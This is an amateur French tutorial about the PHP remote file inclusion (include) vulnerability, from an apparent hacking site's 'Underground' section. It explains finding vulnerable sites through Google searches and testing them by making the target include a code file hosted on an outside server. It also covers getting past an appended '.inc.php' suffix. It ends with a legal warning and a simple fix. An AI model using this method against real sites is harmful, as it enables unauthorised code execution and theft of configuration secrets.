Underground / Failles sites
Quelques
failles très présentes
Voici
des failles très présentes sur le net; l'une concerne les top listes
de site et l'autre les sites en php.
Voyez plutôt:
Faille
top liste
Faille
sites php
Faille
htacces
faille include php
1) Description :
La faille include d'un site fait en php et du à un manque de
vigilance du webmaster qui a créé ce site. En effet, il y a faille lorsque la
fonction php include() est donné avec comme parametre (nom d'un fichier) une
variable :
<?
include("$page");
?>
Cette fonction est utilisé dans la plus part des cas pour inclure du texte dans
les cadres d'un site, souvent dans l'index, le nom de la page à inclure est
donné lors d'un click sur un lien, on verra alors dans la barre d'adresse du
navigateur : www.le_site.net/index.php?page=contact.htm
Ici la page à inclure est la page contact.htm
La page contact est ici en htm, mais elle peut être en n'importe quel format (txt,
php, ...)
2) Trouver un site présentant cette faille :
Rien de plus simple, faire appel à notre allier google avec comme mot de
recherche
index.php?page=
ou index.php?url=
etc... différent nom de variable sont à tester.
3) Tester l'existance de cette faille :
Voila, vous venez de faire votre recherche sur google, vous avez plein de site,
vous voulez maintenant savoir si ce site peut être hacké par cette faille.
Premier test, tenter d'inclure google dans la page, aller sur le site, et
rajoutez à l'url :
(toujours avec la variable $page, mais si vous avez une autre, adaptez en
conséquence)
www.le_site.net/index.php?page=http://www.google.com
Faites entrer, et si vous voyez google s'afficher dans le site c'est qu'il y a
de grande chance que la faille soit exploitable.
Continuons avec Google qui c'est affiché, on verra après les différent moyen de
protection à contourner.
Maintenant, nous allons éxécuter du code php sur le server grace à cette faille.
Car la fonction include() execute tout code php se trouvant sur le page inclu
comme si la page etait partie intégrante du fichier d'origine.
Ouvrez un compte avec hébergement (ex: voila) pour héberger la page que vous
allez creer.
Dans le fichier que l'on va nommer faille.txt, écrivez ce code php qui aurais
comme but d'afficher une alerte en script confirmant qu'il y a bien le faille :
<?
echo "<script>alert('faille présente')</script>";
?>
echo""; est une fonction php d'affichage (de la source de la page que vous voyez
à l'ecran)
enregistrez votre fichier et uploadez le sur votre hebergement.
retournez sur le site en question et testons la faille en prenant comme exemple
un hebergement chez Voila :
www.le_site.net/index.php?page=http://site.voila.fr/votre_compte/faille.txt
L'affichage du message d'alerte "faille présente" vous confirme la présence de
la faille.
Vous pouvez à partir de la afficher la source des pages php (interressant pour
les pages de configuration avec mdp) creer des pages, en supprimer, enfin tous
ce que le langage php sait faire.
Je ne pousserais pas les exemple aussi loin car je ne cautionne pas vos
bêtise.
A partir du moment où vous avez confirmation de la faille,
envoyez un mail au webmaster, qui ne manquera pas de vous remerciez pour votre
geste de sympathie.
Sachez que dépassez le stade de l'affichage du message d'alerte et légale
interdit, il y a alors pénétration dans un système avec les peines qui vont
avec.
Les webmasters peuvent vous retrouvez assez facilement si vous êtes imprudent.
4) Le test avec google n'a pas marché :
ou la page d'accueil s'est affiché correctement : il y a rien a faire, le
webmaster connais sont boulot
ou vous avez eu un message d'erreur qui est alors utile de décoder :
exemple de message d'erreur :
Warning: php_network_getaddresses: getaddrinfo failed: Name or service not known
in /var/www/le_site/index.php on line 23 Warning: Failed opening 'http://www.google.com.inc.php'
for inclusion (include_path='.:/usr/share/pear') in /var/www/le_site/index.php
on line 23
On comprend ici les raison de cette erreur, nous voyons que le code a essayé
d'inclure http://www.google.com.inc.php
(faille opening) Comme ce n'est pas nous qui avons mis .inc.php à la fin de
l'adresse, cela a été rajouté par le script.
En donnant l'adresse de notre fichier faille.txt, il se serais passé la meme
chose car il aurais voulu inclure faille.txt.inc.php
Pour contourner ceci,nous allons renommer notre fichier faille.txt en
faille.inc.php et nous donnerons comme adresse
www.le_site.net/index.php?page=http://site.voila.fr/faille
attention : sans les extensions car elles seront rajoutées par le script.
le script inclura faille + .inc.php
et bingo!
Cette exemple marche sous un hébergement chez voila ainsi que les hébergement
n'acceptant pas le php, si vous hébergez avec Free avec le php activé, la page
faille.inc.php sera executé sur free et non pas sur le server de destination.
Pensez-y.
2eme message d'erreur possible :
Warning: php_network_getaddresses: getaddrinfo failed: Name or service not known
in /var/www/le_site/index.php on line 23 Warning: Failed opening '/mes_pages/http://www.google.com'
for inclusion (include_path='.:/usr/share/pear') in /var/www/le_site/index.php
on line 23
Nous constatons ici que le script inclue les pages du dossier mes_pages nous ne
pouvons donc pas spécifier d'adresse exterieur.
Après ces bases, vous devez bien connaitre le langage php pour contourner
d'autre protection et étendre la possibilité d'action a partir de cette faille.
5) Sécuriser la fonction include sur notre site :
2 sécurités simples à additionner suffise :
remplacez
<?
include("$page");
?>
par :
<?
if(file_exists("notre_dossier/$page.htm"))include("notre_dossier/$page.htm");
else{
include("notre_dossier/accueil.htm"); }
?>
Nous vérifions l'existence du fichier dans notre dossier, nous l'incluons si il
existe, a défaut nous affichons la page d'accueil.
Le hacker ne voit pas de message d'erreur, donc ne connais pas la protection à
contourner.
J'espere avoir bien expliqué!
[ article rédigé pat
©chapo horslimite.net ]
|
|